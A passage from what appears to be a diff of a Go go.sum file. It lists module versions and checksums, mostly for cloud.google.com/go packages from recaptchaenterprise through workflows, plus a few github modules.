h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= +cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= +cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= +cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= +cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= +cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= +cloud.google.com/go/recaptchaenterprise/v2 v2.6.0/go.mod h1:RPauz9jeLtB3JVzg6nCbe12qNoaa8pXc4d/YukAmcnA= +cloud.google.com/go/recaptchaenterprise/v2 v2.7.0/go.mod h1:19wVj/fs5RtYtynAPJdDTb69oW0vNHYDBTbB4NvMD9c= +cloud.google.com/go/recaptchaenterprise/v2 v2.7.2/go.mod h1:kR0KjsJS7Jt1YSyWFkseQ756D45kaYNTlDPPaRAvDBU= +cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= +cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= +cloud.google.com/go/recommendationengine v0.7.0/go.mod h1:1reUcE3GIu6MeBz/h5xZJqNLuuVjNg1lmWMPyjatzac= +cloud.google.com/go/recommendationengine v0.8.1/go.mod h1:MrZihWwtFYWDzE6Hz5nKcNz3gLizXVIDI/o3G1DLcrE= +cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= +cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= +cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= +cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= +cloud.google.com/go/recommender v1.9.0/go.mod h1:PnSsnZY7q+VL1uax2JWkt/UegHssxjUVVCrX52CuEmQ= +cloud.google.com/go/recommender v1.10.1/go.mod h1:XFvrE4Suqn5Cq0Lf+mCP6oBHD/yRMA8XxP5sb7Q7gpA= +cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= +cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= +cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= +cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= +cloud.google.com/go/redis v1.11.0/go.mod h1:/X6eicana+BWcUda5PpwZC48o37SiFVTFSs0fWAJ7uQ= +cloud.google.com/go/redis v1.13.1/go.mod h1:VP7DGLpE91M6bcsDdMuyCm2hIpB6Vp2hI090Mfd1tcg= +cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= +cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= +cloud.google.com/go/resourcemanager v1.5.0/go.mod h1:eQoXNAiAvCf5PXxWxXjhKQoTMaUSNrEfg+6qdf/wots= +cloud.google.com/go/resourcemanager v1.6.0/go.mod h1:YcpXGRs8fDzcUl1Xw8uOVmI8JEadvhRIkoXXUNVYcVo= +cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI= +cloud.google.com/go/resourcemanager v1.9.1/go.mod h1:dVCuosgrh1tINZ/RwBufr8lULmWGOkPS8gL5gqyjdT8= +cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= +cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= +cloud.google.com/go/resourcesettings v1.5.0/go.mod h1:+xJF7QSG6undsQDfsCJyqWXyBwUoJLhetkRMDRnIoXA= +cloud.google.com/go/resourcesettings v1.6.1/go.mod h1:M7mk9PIZrC5Fgsu1kZJci6mpgN8o0IUzVx3eJU3y4Jw= +cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= +cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= +cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= +cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= +cloud.google.com/go/retail v1.12.0/go.mod h1:UMkelN/0Z8XvKymXFbD4EhFJlYKRx1FGhQkVPU5kF14= +cloud.google.com/go/retail v1.14.1/go.mod h1:y3Wv3Vr2k54dLNIrCzenyKG8g8dhvhncT2NcNjb/6gE= +cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= +cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= +cloud.google.com/go/run v0.8.0/go.mod h1:VniEnuBwqjigv0A7ONfQUaEItaiCRVujlMqerPPiktM= +cloud.google.com/go/run v0.9.0/go.mod h1:Wwu+/vvg8Y+JUApMwEDfVfhetv30hCG4ZwDR/IXl2Qg= +cloud.google.com/go/run v1.2.0/go.mod h1:36V1IlDzQ0XxbQjUx6IYbw8H3TJnWvhii963WW3B/bo= +cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= +cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= +cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= +cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= +cloud.google.com/go/scheduler v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= +cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= +cloud.google.com/go/scheduler v1.10.1/go.mod h1:R63Ldltd47Bs4gnhQkmNDse5w8gBRrhObZ54PxgR2Oo= +cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= +cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= +cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= +cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= +cloud.google.com/go/secretmanager v1.11.1/go.mod h1:znq9JlXgTNdBeQk9TBW/FnR/W4uChEKGeqQWAJ8SXFw= +cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= +cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= +cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= +cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= +cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= +cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= +cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= +cloud.google.com/go/security v1.15.1/go.mod h1:MvTnnbsWnehoizHi09zoiZob0iCHVcL4AUBj76h9fXA= +cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= +cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= +cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= +cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= +cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= +cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= +cloud.google.com/go/securitycenter v1.23.0/go.mod h1:8pwQ4n+Y9WCWM278R8W3nF65QtY172h4S8aXyI9/hsQ= +cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= +cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= +cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= +cloud.google.com/go/servicecontrol v1.11.0/go.mod h1:kFmTzYzTUIuZs0ycVqRHNaNhgR+UMUpw9n02l/pY+mc= +cloud.google.com/go/servicecontrol v1.11.1/go.mod h1:aSnNNlwEFBY+PWGQ2DoM0JJ/QUXqV5/ZD9DOLB7SnUk= +cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= +cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= +cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= +cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= +cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= +cloud.google.com/go/servicedirectory v1.9.0/go.mod h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= +cloud.google.com/go/servicedirectory v1.10.1/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= +cloud.google.com/go/servicedirectory v1.11.0/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= +cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= +cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= +cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= +cloud.google.com/go/servicemanagement v1.8.0/go.mod h1:MSS2TDlIEQD/fzsSGfCdJItQveu9NXnUniTrq/L8LK4= +cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= +cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= +cloud.google.com/go/serviceusage v1.5.0/go.mod h1:w8U1JvqUqwJNPEOTQjrMHkw3IaIFLoLsPLvsE3xueec= +cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DRwPG1xtWMDeuPA= +cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= +cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= +cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= +cloud.google.com/go/shell v1.7.1/go.mod h1:u1RaM+huXFaTojTbW4g9P5emOrrmLE69KrxqQahKn4g= +cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= +cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= +cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= +cloud.google.com/go/spanner v1.47.0/go.mod h1:IXsJwVW2j4UKs0eYDqodab6HgGuA1bViSqW4uH9lfUI= +cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= +cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= +cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= +cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= +cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= +cloud.google.com/go/speech v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= +cloud.google.com/go/speech v1.17.1/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= +cloud.google.com/go/speech v1.19.0/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= +cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= +cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= +cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= +cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= +cloud.google.com/go/storage v1.30.1/go.mod h1:NfxhC0UJE1aXSx7CIIbCf7y9HKT7BiccwkR7+P7gN8E= +cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= +cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= +cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= +cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= +cloud.google.com/go/storagetransfer v1.10.0/go.mod h1:DM4sTlSmGiNczmV6iZyceIh2dbs+7z2Ayg6YAiQlYfA= +cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= +cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= +cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= +cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= +cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= +cloud.google.com/go/talent v1.6.2/go.mod h1:CbGvmKCG61mkdjcqTcLOkb2ZN1SrQI8MDyma2l7VD24= +cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= +cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= +cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= +cloud.google.com/go/texttospeech v1.7.1/go.mod h1:m7QfG5IXxeneGqTapXNxv2ItxP/FS0hCZBwXYqucgSk= +cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= +cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= +cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= +cloud.google.com/go/tpu v1.6.1/go.mod h1:sOdcHVIgDEEOKuqUoi6Fq53MKHJAtOwtz0GuKsWSH3E= +cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= +cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= +cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= +cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= +cloud.google.com/go/trace v1.10.1/go.mod h1:gbtL94KE5AJLH3y+WVpfWILmqgc6dXcqgNXdOPAQTYk= +cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= +cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= +cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= +cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/translate v1.8.1/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= +cloud.google.com/go/translate v1.8.2/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= +cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= +cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= +cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= +cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= +cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/video v1.17.1/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= +cloud.google.com/go/video v1.19.0/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= +cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= +cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= +cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= +cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= +cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= +cloud.google.com/go/videointelligence v1.11.1/go.mod h1:76xn/8InyQHarjTWsBR058SmlPCwQjgcvoW0aZykOvo= +cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= +cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= +cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= +cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= +cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= +cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= +cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= +cloud.google.com/go/vision/v2 v2.7.2/go.mod h1:jKa8oSYBWhYiXarHPvP4USxYANYUEdEsQrloLjrSwJU= +cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= +cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= +cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= +cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= +cloud.google.com/go/vmmigration v1.7.1/go.mod h1:WD+5z7a/IpZ5bKK//YmT9E047AD+rjycCAvyMxGJbro= +cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= +cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= +cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= +cloud.google.com/go/vmwareengine v0.4.1/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= +cloud.google.com/go/vmwareengine v1.0.0/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= +cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= +cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= +cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= +cloud.google.com/go/vpcaccess v1.7.1/go.mod h1:FogoD46/ZU+JUBX9D606X21EnxiszYi2tArQwLY4SXs= +cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= +cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= +cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= +cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= +cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= +cloud.google.com/go/webrisk v1.9.1/go.mod h1:4GCmXKcOa2BZcZPn6DCEvE7HypmEJcJkr4mtM+sqYPc= +cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= +cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= +cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= +cloud.google.com/go/websecurityscanner v1.6.1/go.mod h1:Njgaw3rttgRHXzwCB8kgCYqv5/rGpFCsBOvPbYgszpg= +cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= +cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= +cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= +cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= +cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= +cloud.google.com/go/workflows v1.11.1/go.mod h1:Z+t10G1wF7h8LgdY/EmRcQY8ptBD/nvofaL6FqlET6g= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= +git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/CloudyKit/fastprinter v0.0.0-20200109182630-33d98a066a53/go.mod 